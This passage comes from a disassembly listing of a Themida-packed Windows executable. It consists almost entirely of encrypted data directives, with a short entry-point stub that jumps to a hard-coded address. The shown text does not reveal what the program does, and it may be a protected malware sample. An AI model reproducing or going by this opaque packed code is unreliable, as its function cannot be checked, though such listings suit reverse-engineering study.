1320FA1Ch, 8BE211C0h, 98B6C9DAh, 0E547442Ch dd 70C2C100h, 4666B3C7h, 691D0703h, 44DA47D8h, 0AD10935Bh dd 70F541A4h, 0F82002FAh, 0E42819A9h, 8478158h, 347BDDh dd 0FF100D24h, 0E1651E32h, 483F62EEh, 0F8D38141h, 55437091h dd 8EAD5980h, 669C2CDEh, 0D69F3924h, 29840D1Eh, 82552Fh dd 88D8204Fh, 4E03025Eh, 7675A427h, 697D9826h, 17FF1F3Eh dd 0C481BC09h, 0B3252EE4h, 0A3398045h, 81E21F50h, 51BC011Bh dd 5484AE6Eh, 0FDD3FC8Dh, 9ABBE80Ah, 3E0034B3h, 0ABE98AADh dd 9F9D0355h, 5E30620Eh, 67C0B0EFh, 0A6077D88h, 0FA65B8D3h dd 43138C6Ah, 49860C30h, 0FCF4155Ch, 42079066h, 477EDABFh dd 0DF11D0B6h, 9C061AA2h, 60B284F2h, 1B814879h, 62DB6E04h dd 6A8857Ah, 2149B335h, 6678C800h, 8F3F9563h, 30E702F3h dd 3ABFA754h, 2818E760h, 134BE101h, 5BA33C61h, 884C5424h dd 0FC007FAAh, 3FD727A6h, 62304Eh, 8A5077EFh, 60796152h dd 0D53B9C00h, 7FE34947h, 73FD14DEh, 1D1EFCDAh, 95D2007Dh dd 3602DC35h, 22FDh, 0F2131237h, 0A4B475A7h, 10E900BCh dd 0ED216C6Fh, 0D763568Dh, 0D0E152F4h, 5CD53124h, 8016C543h dd 0FD880615h, 89005160h, 8A11C1D7h, 0F4BD50h, 4F689D22h dd 0D6649C6Fh, 0E3463D0Fh, 560CC7ECh, 0C3BFE1B0h, 0CE5401EAh dd 9D17E44Bh, 13B42253h, 0B700528Fh, 8B36762Eh, 88700710h dd 1DBDC22h, 806DFDC9h, 0CA7CB579h, 0EC0B18F8h, 2E1A28DCh dd 4B0807E6h, 7FEBA5E5h, 0B3728C62h, 4A365040h, 0D1186A90h dd 15712A9Ch, 66CD00B2h, 0BAAD4076h, 5400244Bh, 9236F983h dd 39472FC1h, 68C0BE0h, 1E48B257h, 415B9D30h, 1C02807h dd 0BDD90F82h, 0C408380Dh, 0FE52690Bh, 0B67200B8h, 0BD52B30Eh dd 0DBB80003h, 833B8EABh, 0E4332A4Fh, 0A722295Eh, 42FE9h dd 361129D6h, 0E161380h, 448C0050h, 4A238241h, 3B96DC19h dd 6EECD7D8h, 0C800764h, 0F0E3F959h, 8415AE12h, 80C4273Dh dd 80958E9Dh, 60B305DCh, 0B013615Dh, 0BE06191Eh, 64AFCAF6h dd 0DC471689h, 0C3682097h, 10B89308h, 2DEEB0Eh, 0BADD008Dh dd 0E33D3330h, 7EE70C20h, 69477282h, 440839BCh, 2783064h dd 0C13CA4DBh, 0DF6A00BFh, 8E8C6FE0h, 0A424549Ch, 0EED400E6h dd 7135F60Dh, 4712D22Ah, 1FBD09Ah, 552D6096h, 595D60EBh dd 35DE2CA0h, 17011972h, 5C47436Ah, 0A030027Eh, 0FEDB078Ch dd 0F077FBD5h, 3FD97198h, 3AACF406h, 58D01CE3h, 0C40AA08Fh dd 0AC40BFh, 65AC3B34h, 0C058DB47h, 2A22DEB8h, 90D45CFDh dd 0CE4A00BBh, 0F001B4A8h, 0D4996D39h, 3A748D80h, 5F23Ch dd 6E940396h, 5B02E60Ch, 71D541C0h, 2AF120h, 8BEC4ECDh dd 45BA39E1h, 6EFEA0A4h, 0A0589400h, 0F465B0Eh, 3E0E6E4h dd 0FD333BA9h, 0C89D6567h, 0FE007ACCh, 0ADC906ABh, 0BA9E8FDAh dd 0FBB82444h, 241F0058h, 459186DBh, 0A6F51C04h, 84C084B4h dd 2D80C12h, 0B2B19856h, 78C44865h, 0B09BDA06h, 11299Ch dd 8FB76F3Eh, 1C4A0697h, 0E5575301h, 6ADD293Ah, 0F447898Ch dd 0C9705CC1h, 94770800h, 42EFED74h, 21B3959h, 0C8454E81h dd 105BDE29h, 0C0579CACh, 3FA63869h, 3C00D748h, 5B26421Ch dd 0C42F4570h, 89C22921h, 2246F1ACh, 98AD1EC4h, 24241714h dd 0A05DC20h, 9420FCE4h, 120EB083h, 882B620Ch, 6D786644h dd 0B0E49B24h, 603DB201h, 74303BACh, 0FE4B1181h, 0D571005Ch dd 0B1EFC414h, 0CC9FA25h, 72E32931h, 7C000C21h, 0ACB73975h dd 54438701h, 0A188FBh, 0D3FFE8A9h, 486A651Bh, 0D991BF07h dd 0EFD5C40Fh, 0F1D4B430h dd 0E1701608h, 343D0090h, 0F8BA419Eh, 32137F12h, 0ECDC0406h dd 709C5C59h, 0F9E07E80h, 9E000666h, 0C7393393h, 937A014h dd 0CF252822h, 0DD856580h, 62014B26h, 5F200F52h, 0C0F0EFDCh dd 0DF4A00B6h, 0E1807F03h, 0D401E29Bh, 7040E52Fh, 7472A36Bh dd 0B474F500h, 4767323Fh, 0EB074876h, 931E0945h, 0D6D9C202h dd 40E824CDh, 58279132h, 6D004A98h, 0D7A54B7Fh, 940B7866h dd 0D372478Ch, 0BB8501A0h, 0EE0DE0Bh, 88EFA018h, 9D4318Ah dd 0BB19CF6Ch, 1B2D7880h, 5600F648h, 3832DA8Ch, 0FF7AED6Eh dd 2EA44Ch, 0DF8A4117h, 972F266h, 433EEC78h, 0C6699431h dd 0F6DE02F0h, 46BE9C83h, 0A5B40040h, 45F5FD46h, 913A6BD7h dd 0A9BDB0CFh, 0B01B7h, 0D1B60E18h, 424B6307h, 0DEC82900h dd 0D93BF4A8h, 505948FDh, 92D54780h, 4C012810h, 6F99EB3Eh dd 4020AB40h, 69358842h, 0FB3438h, 0EF8E9589h, 163F86Eh dd 0E3CFF23Fh, 818DF346h, 0F6061B81h, 58409D53h, 2CEAB625h dd 198211h, 0DC5C38A0h, 8B0CD5A2h, 292DA39Dh, 263001B5h dd 0C60484A0h, 509430F7h, 7580F094h, 0C4403ADEh, 0A70A0110h dd 43F4ADB6h, 0CAD048C8h, 2C01D000h, 39E0283Bh, 251DF6CDh dd 84A00DE5h, 7A978AE1h, 5446BA07h, 84DAFE78h, 8217C080h dd 1C13B3D4h, 498F7Dh, 2E9D3014h, 55025E01h, 0AD0D3D6Ah dd 23A4E179h, 0A1E44Ch, 0A09E1D45h, 0A4FBAD4Ch, 1D7113Ch dd 0C27E67DAh, 9CC114F5h, 3B033822h, 0E30B17B8h, 37E06DD3h dd 7C0F903Eh, 0AD6FCAE1h, 1030295Ch, 5B7900FDh, 67EDCF8h dd 0B900DF1Dh, 68E3A709h, 9503DBh, 9885AE71h, 8626CF13h dd 0D6F99F00h, 0C00B29EAh, 4C470916h, 781BACA4h, 731FF188h dd 372F93Eh, 0F73B097Dh, 0BD9BC0A8h, 97330012h, 0F2DD71B6h dd 0D74CC2A3h, 0E60B8744h, 3BD5E3F0h, 95AE013Fh, 9FD7D9BDh dd 38E830A4h, 0FD0654FCh, 2648610Fh, 9CB971h, 7F1F7865h dd 0EA01EFFCh, 14B7AA9Bh, 0ADD95638h, 2200460h, 7037ACCCh dd 0B871583Ch, 0D7874403h, 0D8409DFDh, 0EF71CF68h, 80382C96h dd 5EFE607Ch, 491F6B93h, 0A380235Dh, 0BE66AE72h, 31918E7h dd 0E4B92964h, 8B22FB03h, 0E8D43685h, 3D81DCh, 2CE63739h dd 4749BBCBh, 5F31DD60h, 0D53BB2h, 0ED07192Eh, 0F665BB8Dh dd 0FC79BE1Fh, 3C062B03h, 0CC03E52Dh, 0C96E1332h, 0BC39437Bh dd 0A495EB02h, 0B0E87A3Fh, 1A0154A3h, 0E33C50B3h, 60329D21h dd 0DFC9EE00h, 0DEAAEC42h, 4DA4C701h, 0F198151Bh, 4BE646C0h dd 9C0440FDh, 7D1E9583h, 0B2892B8h, 6044D868h, 0C7283BD5h dd 24C3E50Bh, 406FE484h, 0F6A413B9h, 0A1C16043h, 0C6FFB0C8h dd 140057B8h, 83B467C7h, 2F2D39Ah, 0FDA6DC7Fh, 0BCC12EE2h dd 0F6619641h, 88634800h, 96D3C2B9h, 7F0E67ECh, 5318D812h dd 11884900h, 0DB1D859Ch, 0D7FB1F7Ah, 1CE90073h, 0BA92B063h dd 272F2800h, 438EDC4Ah, 5CD7F07Fh, 98008836h, 407B13BDh dd 150146BCh, 7257DA6h, 8C40D211h, 130ADBF2h, 20DF473Dh dd 0E393E148h, 16455501h, 890F75E8h, 1704F870h, 2269D529h dd 520920Ch, 6F7B51Bh, 46F01096h, 7A3C19EEh, 0D3EB00B7h dd 68E82CAFh, 0B0B3EA7Bh, 58F34828h, 47605C22h, 0BEC60A60h dd 813A02DDh, 0B3C819C4h, 0A303807Ah, 9AF0E973h, 6CE59825h dd 12441667h, 0C07E1EE6h, 3B35F847h, 0BB012306h, 6372D730h dd 0C3FCD531h, 52C949Eh, 46C47Bh, 12B6365Ch, 113E94CEh dd 1C72225h, 0E23CF01h, 7043AC29h, 0C0E6D09h, 0E071DAC4h dd 74F43C3Dh, 2320FF46h, 2A4490DCh, 18C5DE0h, 0C7DFABDEh dd 69B38B04h, 59471D40h, 8038980h, 2653586h, 1937F776h dd 80C391DAh, 16606EB2h, 9F00FABAh, 0F8DBDE5Ch, 0C0780276h dd 0A66F2EC8h, 12026106h, 0B70F1116h, 1464B2h, 0A68D1A78h dd 9EC9DF98h, 0F800BE79h, 46A23B38h, 4A20B812h, 81CC419Dh dd 0D0C80F21h, 5100446Ch, 0F6B8B27Eh, 106D79Ah, 9FD62D65h dd 134DD4C2h, 0E1BEFDh, 81628A2Bh, 0CA6DF176h, 0F50BF4E6h dd 8039FDCFh, 50E841CFh, 77490DFh, 0CB195E0Ah, 0F68048D5h dd 0D830ACADh, 3C643AB0h, 0DD2BAE83h, 0C2B86B0Fh, 0B091500Ch dd 0C064B50Eh, 0D6FE7E14h, 0F7CA054Fh, 0C0DEB3D8h, 324ADF9h dd 0A3077D77h, 1DBD019h, 7B991ED0h, 54D50090h, 89B0C149h dd 0CA00D971h, 0D660E0C5h, 501A371Bh, 7CF68FEh, 77E54AE7h dd 4ED07107h, 44B8DBB3h, 60FCE3B5h, 91E45302h, 640E35DCh dd 149E0114h, 0E1F9CEEBh, 56E3CC2Eh, 0A1154407h, 4A2A8DBh dd 8E8CD954h, 8F00BBFCh, 1E9DDF27h, 4944E401h, 81D405C3h dd 0FA319061h, 3E7FDC20h, 610B85B0h, 6C13513Dh, 0C78FE4C8h dd 0B51CB7F8h, 0F4AC0E47h, 21A16540h, 2F5301F4h, 8146CF8h dd 0D7ED448h, 77810C9Ch, 656E7C20h, 751C3438h, 4F984EAh dd 3B8C850h, 80700B0Ah, 0B900D085h, 230E27E5h, 80D4949Dh dd 0AFEC6736h, 4400AACDh, 2C75B8D3h, 0FE7A28h, 0A48858B4h dd 0F67946BDh, 1C2DE7h, 0B515D60Fh, 5B7EA0h, 0AF116989h dd 19321637h, 29AE8009h, 3BA018DCh, 9AA3BC5h, 0BF83CBFh dd 4648A5DBh, 22E25C90h, 101C3Ah, 0EEB30541h, 0B68D30Ah dd 47D72A1Dh, 4400E044h, 2960C735h, 6D896Eh, 0EE6CB5C8h dd 0C2B23C08h, 0AC01017Bh, 708B144Bh, 2430ECFAh, 165CB0D1h dd 3006541Eh, 2325B380h, 0B9A76500h, 16ABD7Ch, 601A003Ah dd 7B98BB48h, 0A4989413h, 2E9C11FDh, 0A53A8983h, 9097760Dh dd 0B1A8AE4Ch, 9D64AC01h, 0A2EA6113h, 0B225AC38h, 5CFA2020h dd 4902188Dh, 0F7587876h, 77506032h, 453400DDh, 0FE63B1E5h dd 1FEE43D5h, 26D479EBh, 4009D22h, 3A03B14Ch, 0AE5305CFh dd 0E244705Fh, 2DE312C8h, 0CEFF0402h, 18A8C111h, 1F3BB873h dd 74C62700h, 0F1806B50h, 3E022500h, 3ADC89B1h, 167F0AE3h dd 803C739Bh, 0B502FF71h, 0F0075FF2h, 0F3C81569h, 36241600h dd 0B2981892h, 8B9CDAD8h, 0A6001598h, 0C1D5FDDAh, 90A5505Dh dd 0DFB7161Ch, 93ECC853h, 2259312Eh, 0ED32003Dh, 6B801A89h dd 53F70339h, 3DB65A36h, 9EF04891h, 0EB165F89h, 79928C88h dd 7A1A0463h, 405EB377h, 0CC668A44h, 0BA0B0BE7h, 182F58h dd 0A00769AAh, 33D89631h, 9879FA80h, 5B5003A7h, 3D2B3C85h dd 3C78CDDAh, 0E92845EEh, 312F8562h, 640410F5h, 0AB47014Bh dd 85D1C3F7h, 2A8F6039h, 43594F00h, 0CB456E11h, 232B5F64h dd 0F5C0E754h, 0AE13E6BEh, 6100C173h, 0E8E5DD44h, 8028992Dh dd 5D933A39h, 0C227BED9h, 60CCAAD6h, 0A0AD3400h, 99B32CDCh dd 4B090E58h, 0ED05F2E0h, 0E9002099h, 0E41346ACh, 5CD94A21h dd 0D52EE104h, 7844493Ch, 0CD108900h, 257C4B67h, 208C0009h dd 3D9B50BEh, 0A1A03412h, 0D15F6DB3h, 0A2DCD400h, 2C8DDAh dd 0D6CB73Fh, 3C88DB90h, 6432C007h, 15623A10h, 14D1CAh dd 0D186BC57h, 0FA005E4Bh, 62E4ABD8h, 0D2EB02h, 1ABA8748h dd 0F0DC2BA4h, 0A96EE1BDh, 12A23430h, 21A3ABF6h, 0F0B71A6Ch dd 47373521h, 0B6C0C108h, 14E17FF9h, 0D0F6221Ch, 3EDBE5C0h dd 0F9FE81ECh, 0B8185101h, 7CBC911Ah, 946ADCCh, 9CBF1342h dd 1EF68090h, 0BD0072E6h, 3D854062h, 6BD436h, 7CED6CFEh dd 9DF8A052h, 0E8B252h, 7A6A628Bh, 0B889F1h, 0EAA2F51h dd 6504BF31h, 2B3CDBE4h, 39005819h, 669609Dh, 0FB0849h dd 7ED3D5C3h, 0B02F1CB9h dd 8CEBAD3Bh, 614BB3BBh, 0BDFE0054h, 0DE447924h, 59004EC4h dd 0DB8ACA1Bh, 7F2ABC2Ch, 0CB218086h, 348DAF4Ah, 382FF8F3h dd 792C61A3h, 0E1B559C8h, 6CADE440h, 5F8E923Eh, 0E4329820h dd 5ABF0FC2h, 2A620BB8h, 0F4FA94DEh, 0ED023470h, 0E43601DCh dd 668D853h, 0FE3B04F8h, 0BE00296Eh, 52B1DA93h, 3383227h dd 674210E6h, 6AB2537Ch, 0F6410856h, 2DB9681h, 3D6B7A6h dd 4072FDADh, 1F3E2960h, 0C633E5h, 720113C8h, 1075026Dh dd 0B5674000h, 71B112E4h, 0DCEF3EAEh, 30C000CCh, 0A4E85417h dd 0A7462E02h, 726F70ADh, 5A34FEC0h, 0CCBC0536h, 0FCC20A3h dd 7F26C45Dh, 0BD00DBF3h, 94471780h, 6E92128Eh, 0D4DCC907h dd 267D0BEFh, 16C38800h, 2ACADF8Dh, 0BA0F1265h, 98B420B2h dd 0C300E4E5h, 710DB86h, 0EC571304h, 8F7A01FDh, 0E7C0285Bh dd 2B29C0DAh, 0ACB4B577h, 45A0360h, 1B6EA0Dh, 0D866601Ch dd 82E466Fh, 0B97244E4h, 3BA14403h, 95B64BBCh, 7B0B7880h dd 0AEC230BBh, 0C805A31h, 0F5277C09h, 0E405243h, 0B36F9E08h dd 0E0608F49h, 6405333Bh, 68073AC6h, 0E061C8Ch, 0DFABC1E3h dd 771423A0h, 960093ECh, 7FBD78D7h, 7414F07h, 80B6D43h dd 8007BB31h, 0E8DB31FAh, 81647855h, 70882845h, 0FD7FD084h dd 40E8C9FCh, 82616E97h, 0DC5B3Eh, 483AE81Ch, 2A28D3BFh dd 127871C7h, 2941EB4h, 8AED2D80h, 13009851h, 37D581A8h dd 46C900D6h, 770544F8h, 0B501F51Ah, 0C2609CDAh, 844C94D9h dd 15B40033h, 7BB7F610h, 4DF93D70h, 0BE21DAB4h, 6441B2ADh dd 0B6C93901h, 0DACC8AE9h, 0CAFE0D94h, 4C214ED6h, 0A601CC68h dd 1DB2850Fh, 0C770BB7Fh, 10A30073h, 358C518Dh, 292E9C42h dd 17602CD6h, 0BD776Dh, 0C01B63D8h, 0ECF54859h, 48FD6F28h dd 8041DA38h, 7BD7202Dh, 14644EF3h, 6C154804h, 0DAE64400h dd 7FF17073h, 3C03DC00h, 0D10123D5h, 0B4AA2E05h, 0B2310C18h dd 478964E8h, 0CF00F42Dh, 0DED19916h, 7D0F7482h, 299A2FC3h dd 7E6050ADh, 0AF1026D2h, 200D02A8h, 0C491AECBh, 2072FDh dd 51474E03h, 17139272h, 18A7BC7h, 0A8C2BF5Eh, 31BF55h dd 91C42556h, 0C196ECF1h, 0FE196F98h, 95271171h, 2968FA30h dd 60B4DBC2h, 337BC0BEh, 0D3393A00h, 410AC52h, 0D232624h dd 0F2BB00A8h, 1270E8F4h, 610FE509h, 952C523Dh, 89D8C890h dd 8048DA39h, 0B3B7ABF9h, 736AB6ACh, 0D1C218E9h, 0DA472954h dd 4C2E2CB9h, 59B09F47h, 321613Ah, 72177D36h, 63B85E4Dh dd 1A5CC13h, 0C0F6FFFFh, 0 db 0 ; --------------------------------------------------------------------------- loc_549A0D: ; CODE XREF: Themida_:loc_4E1265j ; DATA XREF: Themida_:loc_4E1086o jmp loc_54CF3E ; --------------------------------------------------------------------------- align 4 dd 2 dup(0) dd 5CB50000h, 77E7h, 3 dup(0) dd 705D0000h, 0 dd 21220000h, 1619h, 0Ah dup(0) dd 230000h, 58h, 4 dup(0) dd 40000h, 0A8690000h, 58h, 5CB50000h, 77E7h, 5 dup(0) dd 230000h, 10140054h, 0Eh, 3 dup(0) dd 621D0000h, 5Bh, 3 dup(0) dd 0CD920000h, 54h, 25060000h, 2 dup(0) dd 8D8D0000h, 304EAAFh, 7FFEh, 0Ch dup(0) dd 0FF7F0000h, 30403DBh, 7FFEh, 668C0000h, 0A2FA0000h dd 30A2h, 7 dup(0) dd 705D0000h, 30DF0000h, 0A9C5h, 2 dup(0) dd 0A20000h, 0FFBA4EC9h, 0FF53h, 2 dup(0) dd 0FDFE0000h, 0F3FFh, 0 dd 5E2E0000h, 727300A2h, 312h, 0CD920000h, 54h, 65520000h dd 72617473h, 70704174h, 6578652Eh, 0 dd 33FB0000h, 6B877E7h, 0C0E2D8h, 3 dup(0) dd 73630000h, 24F3h, 2 dup(0) dd 0FFB00000h, 1C2h, 5 dup(0) dd 0E1D90000h, 690B78BFh ; --------------------------------------------------------------------------- public start start: push edx ; --------------------------------------------------------------------------- db 3 dup(0) dd 9 dup(0) dd 0B9h, 0Fh dup(0) dd 2FC90000h, 59h, 4 dup(0) dd 0F655h, 2 dup(0) dd 2BDE0000h, 0A2h, 0 dd 0ED5F0000h, 77F7h, 5 dup(0) dd 0D4AD0000h, 5Bh, 6 dup(0) dd 5A8E0000h, 0 dd 28Bh, 0 dd 183B0000h, 0D9AD0058h, 54h, 0A0h dup(0) dd 0A7DE0000h, 58h, 0 dd 0E5360000h, 0E477h, 0A8370000h, 333377E7h, 2 dup(33333333h) dd 3333h, 0B1340000h, 42C100A4h, 7F9Dh, 2 dup(0) dd 0CD920000h, 54h, 2 dup(0) dd 0A5720000h, 0E5F2h, 0E21F0000h, 5Ch, 7 dup(0) dd 861C0000h, 5Ah, 0 dd 0AD4E0000h, 0AFB80058h, 0F600h, 2 dup(0) dd 0B00000h, 4 dup(0) dd 0FFDD0000h, 0FFA7h, 5 dup(0) dd 0FCFC0000h, 0FFA6h, 0 dd 69DD0000h, 0A2h, 3 dup(0) dd 268C0000h, 58h, 6 dup(0) dd 234E0000h, 7FFEh, 6CD10000h, 0DA39C563h, 72F5h, 3 dup(0) dd 1B400000h, 76B4h, 0DA440000h, 2 dup(0) dd 0B21C77DDh, 3042D0Ah, 7FFEh, 0 dd 3E0000h, 0A1h, 2 dup(0) dd 69DD0000h, 0A2h, 0B9FB0000h, 0D6022D0Ah, 2131h, 0D9E00000h dd 177E7h, 2 dup(0) dd 9AB00000h, 0D973h, 2 dup(0) dd 0C7850000h, 30477E7h, 7FFEh, 3 dup(0) dd 0A2850000h, 54h, 8 dup(0) dd 0F4A00000h, 4EAAFFFFh, 20059h, 0EBB30000h, 77F7h, 3 dup(0) dd 40000h, 3 dup(0) dd 8A840000h, 0B9EBh, 3 dup(0) dd 0ABDA0000h, 5B7Ch, 4 dup(0) dd 189A0000h, 77DDh, 7 dup(0) dd 40h, 0DC190000h, 9D620058h, 48F00058h, 495h, 0 dd 10000h, 0 dd 0B7FE0000h, 5Bh, 5 dup(0) dd 840000h, 4 dup(0) dd 7D080000h, 0C34h, 4 dup(0) dd 50240000h, 77FCh, 3 dup(0) dd 5CE50000h, 8873h, 0 dd 0C7260000h, 9B5677E7h, 0B80054h, 0B000000h, 0C20374C0h dd 448B0018h, 0E8530C24h, 0 ; --------------------------------------------------------------------------- pop ebx add ebx, 17h mov [esp+10h], ebx mov [esp+14h], eax pop ebx mov eax, 0A2A037h jmp eax ; --------------------------------------------------------------------------- mov eax, [esp+4] jmp eax ; --------------------------------------------------------------------------- align 4 dd 17h dup(0) dd 6B9C0000h, 632C024Bh, 5Bh, 7 dup(0) dd 3040000h, 7FFEh, 0A5FD0000h, 0D2D877E7h, 0E5C1h, 0D00000h dd 600000h, 3FF40002h, 59h, 5 dup(0) dd 21680000h, 0B7CE77E8h, 0A9DFE5C1h, 7FE5h, 3 dup(0) dd 58600000h, 8D0B6DD3h, 14EBh, 620000h, 3 dup(0) dd 0DC0000h, 0Fh dup(0) dd 0A9360000h, 987Eh, 2Eh dup(0) dd 0EE80000h, 8 dup(0) dd 0EB8D0000h, 0 dd 0FF170000h, 0FFFBh, 2 dup(0) dd 0EE060000h, 3 dup(0) dd 705D0000h, 0D8DD0000h, 51A33AAEh, 446Dh, 0 dd 69DD0000h, 0A2h, 0 dd 0FFFF0000h, 77FFh, 2 dup(0) dd 94300000h, 268CFFFFh, 58h, 0 dd 909C0000h, 27331D3h, 0CC42h, 2 dup(0) dd 0A3F0000h, 5435h, 4 dup(0) dd 734E0000h, 0AE27h, 0 dd 5EF10000h, 6FC6005Ah, 0DE15h, 3A00000h, 4 dup(0) dd 20000h, 0 dd 0FEF80000h, 0E00012h, 1Ch dup(0) dd 43790000h, 1586h, 6 dup(0) dd 705D0000h, 3040000h, 7FFEh, 3 dup(0) dd 4E920000h, 0E502h, 4 dup(0) dd 0FFB00000h, 0FFFFh, 3 dup(0) dd 0EAE60000h, 0C41h, 0 dd 243h, 5 dup(0) dd 8B3B0000h, 6BBFh, 2 dup(0) dd 2EC0000h, 0DD9900C2h, 54h, 0Ah dup(0) dd 6BC00000h, 34B50000h, 12630605h, 0B8EBh, 2 dup(0) dd 0C0310000h, 5F080001h, 246F60h, 0 dd 3B360000h, 0B992h, 69DD0000h, 0A2h, 3 dup(0) dd 20000h, 2 dup(0) dd 5CFF0000h, 58h, 0FEF80000h, 93EF0012h, 77E7h, 0 dd 0DFE90000h, 0F9FCh, 23D70000h, 77DDh, 0B2130000h, 54h dd 23E80000h, 0A3h, 2 dup(0) dd 9FB277D4h, 57h, 25Bh, 941C0000h, 0B4FFFFh, 0 dd 10000h, 6 dup(0) dd 17530000h, 5Ah, 5 dup(0) dd 10000000h, 40h, 6 dup(0) dd 0FFDD0000h, 0FFA7h, 2 dup(0) dd 54AB0000h, 5Ah, 0B0h, 7 dup(0) dd 10000h, 69DD0000h, 0A2h, 45B90000h, 4 dup(0) dd 183B0000h, 58h, 0A40000h, 0 dd 95A00000h, 5Bh, 0 dd 1FFF0000h, 8 dup(0) dd 86830000h, 0FAh, 0 dd 0C4D90000h, 3767h, 7A300000h, 0FF9Ah, 5 dup(0) dd 96D6h, 2 dup(0) dd 40000h, 0FCFC0000h, 35B8001h, 0Bh dup(0) dd 0FF7F0000h, 3DBh, 0AE060000h, 99950054h, 0A6h, 0Ch dup(0) dd 0CBA90000h, 57h, 2 dup(0) dd 93930000h, 0A2h, 4 dup(0) dd 27A70000h, 7FFEh, 0 dd 0FFFD0000h, 1F2h, 0 dd 2E10000h, 7FA6h, 3 dup(0) dd 3040000h, 941C7FFEh, 0FEF8FFFFh, 12h, 79630000h, 77E7h dd 2 dup(0) dd 0FEF80000h, 12h, 30DF0000h, 7F5DA9C5h, 0E803259h, 0F200000h dd 3 dup(0) dd 0C9000000h, 76CD0057h, 6CD177E7h, 0C563h, 0A1h, 0 dd 3040000h, 7FFEh, 3 dup(0) dd 3040000h, 7FFEh, 0 dd 0EFDD0000h, 3, 0 dd 0C4580000h, 54h, 6 dup(0) dd 28Bh, 0 dd 20000h, 4 dup(0) dd 43770000h, 0 dd 93830000h, 0FFFFh, 827C0000h, 137h, 2Fh dup(0) dd 69DD0000h, 0A2h, 3 dup(0) dd 3040000h, 7FFEh, 2 dup(0) dd 3040000h, 7FFEh, 3 dup(0) dd 0DDDC0000h, 0F28Eh, 3 dup(0) dd 0FFB00000h, 242h, 0B1h dup(0) dd 9B090000h, 3268F9ECh, 0A3h, 0C1B40000h, 3FFFh, 2 dup(0) dd 9D390000h, 1C5Dh, 5 dup(0) dd 0A1FE0000h, 0B2h, 0 dd 450C0000h, 0 dd 81A80000h, 23E8005Bh, 0A3h, 6 dup(0) dd 0FF540000h, 67C4FFFFh, 8 dup(0) dd 1050000h, 0A28h, 150000h, 0 dd 83070000h, 0A8FAD1h, 4 dup(0) dd 0AD680000h, 3FF46B5Eh, 52D10059h, 0A6E9B2FDh, 0CD9277EBh dd 43060054h, 723Dh, 3 dup(0) dd 0BDFD0000h, 0E700463h, 202h, 7 dup(0) dd 30DF0000h, 0 dd 68CC0000h, 7925h, 0AB700000h, 0E66Ah, 5 dup(0) dd 269E0000h, 0AC0058h, 0 dd 0A5FE0000h, 54h, 0 dd 0B2640000h, 57h, 4 dup(0) dd 0A00000h, 9 dup(0) dd 181B0000h, 0EEA6h, 4 dup(0) dd 0BAF40000h, 0FFFFh, 0 dd 48D00000h, 58h, 0B1680000h, 0A1h, 9DF80000h, 8CFCF608h dd 0FFFFh, 0 dd 0D77E0000h, 30400FEh, 6 dup(0) dd 0FF7F0000h, 3DBh, 3C540000h, 7FD80058h, 0F400A4h, 0FA1C0000h dd 3E80h, 0 dd 73A0000h, 5Ah, 96730000h, 78E1FE3Ah, 5Ah, 0 dd 0BA720000h, 4 dup(0) dd 0E42E0000h, 3C28E398h, 0F000097Bh, 4Dh, 0Ah dup(0) dd 7FE80000h, 0B2h, 2 dup(0) dd 0DD8A0000h, 4397005Ah, 5Bh, 0B1ED0000h, 0FFFFD2B4h dd 0FFFFh, 0 dd 79410000h, 7FFEh, 0 dd 10000000h, 2 dup(0) dd 0BC830000h, 6E4Ah, 9 dup(0) dd 65010000h, 116DBh, 3 dup(0) dd 17B00000h, 5Ah, 0C40000h, 2 dup(0) dd 744A0000h, 2D0Ah, 5 dup(0) dd 10000h, 3 dup(0) dd 41510000h, 29D2h, 3 dup(0) dd 9BAC0000h, 0F88000A4h, 1D3Ah, 0B0710000h, 0EDF6h, 4 dup(0) dd 7D10000h, 7 dup(0) dd 0EA400000h, 160Eh, 0Ch dup(0) dd 9D620000h, 58h, 0 dd 0A0990000h, 5077E7h, 0FE6Dh, 3 dup(0) dd 8FFC0000h, 0FFFFh, 5ECC0000h, 77DDh, 0 dd 0EEDB0000h, 59h, 61h dup(0) dd 0EFA50000h, 5E65h, 30DF0000h, 0A9C5h, 0AE870000h, 33A90058h dd 0A0379826h, 0DC00A2h, 4 dup(0) dd 650F0000h, 0CE08h, 2 dup(0) dd 13A80000h, 0DA440000h, 0C246h, 2 dup(0) dd 53C20000h, 0FFA7h, 5 dup(0) dd 0E025h, 67BA0000h, 0B89Fh, 0Ch dup(0) dd 0CB590000h, 5A030057h, 6B6h, 6 dup(0) dd 0DFE90000h, 0F9FCh, 3 dup(0) dd 42770000h, 398Ch, 6 dup(0) dd 0A8370000h, 77E7h, 25Ch, 6 dup(0) dd 0DCEB0000h, 5Bh, 2 dup(0) dd 9C370000h, 0A2h, 0AC5E0000h, 77E7h, 3 dup(0) dd 269E0000h, 58h, 96230000h, 0FFFFh, 0Dh dup(0) dd 3040000h, 7FFEh, 2 dup(0) dd 0FE60000h, 0A1h, 0 dd 0E37A0000h, 5Bh, 6 dup(0) dd 0A00F0000h, 0A2h, 0 dd 0C94B0000h, 37E005Bh, 58h, 16h dup(0) dd 4FD80000h, 705D09F9h, 0D0270000h, 5Ch, 9 dup(0) dd 183B0000h, 58h, 0FFFF0000h, 5Fh, 2 dup(0) dd 5EF10000h, 5Ah, 1E80000h, 0EB8D0040h, 4B1h, 2 dup(0) dd 3A430000h, 4E49575Ch, 53574F44h, 7379535Ch, 336D6574h dd 44415C32h, 49504156h, 642E3233h, 6C6Ch, 3Bh dup(0) dd 3A440000h, 0A6C40000h, 52F8h, 8 dup(0) dd 3040000h, 7FFEh, 3 dup(0) dd 0FFFF0000h, 0FFFFh, 2 dup(0) dd 0F2120000h, 2 dup(0) dd 0CC0000h, 0 dd 9C0000h, 60D10000h, 9CFF5Dh, 2 dup(0) dd 0FCA40000h, 161h, 3 dup(0) dd 120000h, 5Ah, 24240000h, 0C3CB2424h, 0FFB7h, 6BBC0000h dd 1024Bh, 3 dup(0) dd 6F0000h, 2 dup(0) dd 3ADB0000h, 2 dup(0) dd 0CDE20000h, 5Ch, 0 dd 9F70000h, 0A2h, 2 dup(0) dd 230000h, 58h, 25Ch, 12540000h, 77F5h, 0D6020000h, 2131h dd 0A6F30000h, 0CB7B005Ch, 156Eh, 0A660000h, 7FFEh, 0 dd 2EC0000h, 0C2h, 0Eh dup(0) dd 25Eh, 2 dup(0) dd 0FFE00000h, 12h, 0 dd 17E90000h, 5Ah, 2 dup(0) dd 59F00000h, 77DDh, 7 dup(0) dd 5D80000h, 0BAF477E8h, 0FFFFh, 2 dup(0) dd 0E0000000h, 0Dh, 0F70000h, 3 dup(0) dd 421A0000h, 55h, 0 dd 2E0F0000h, 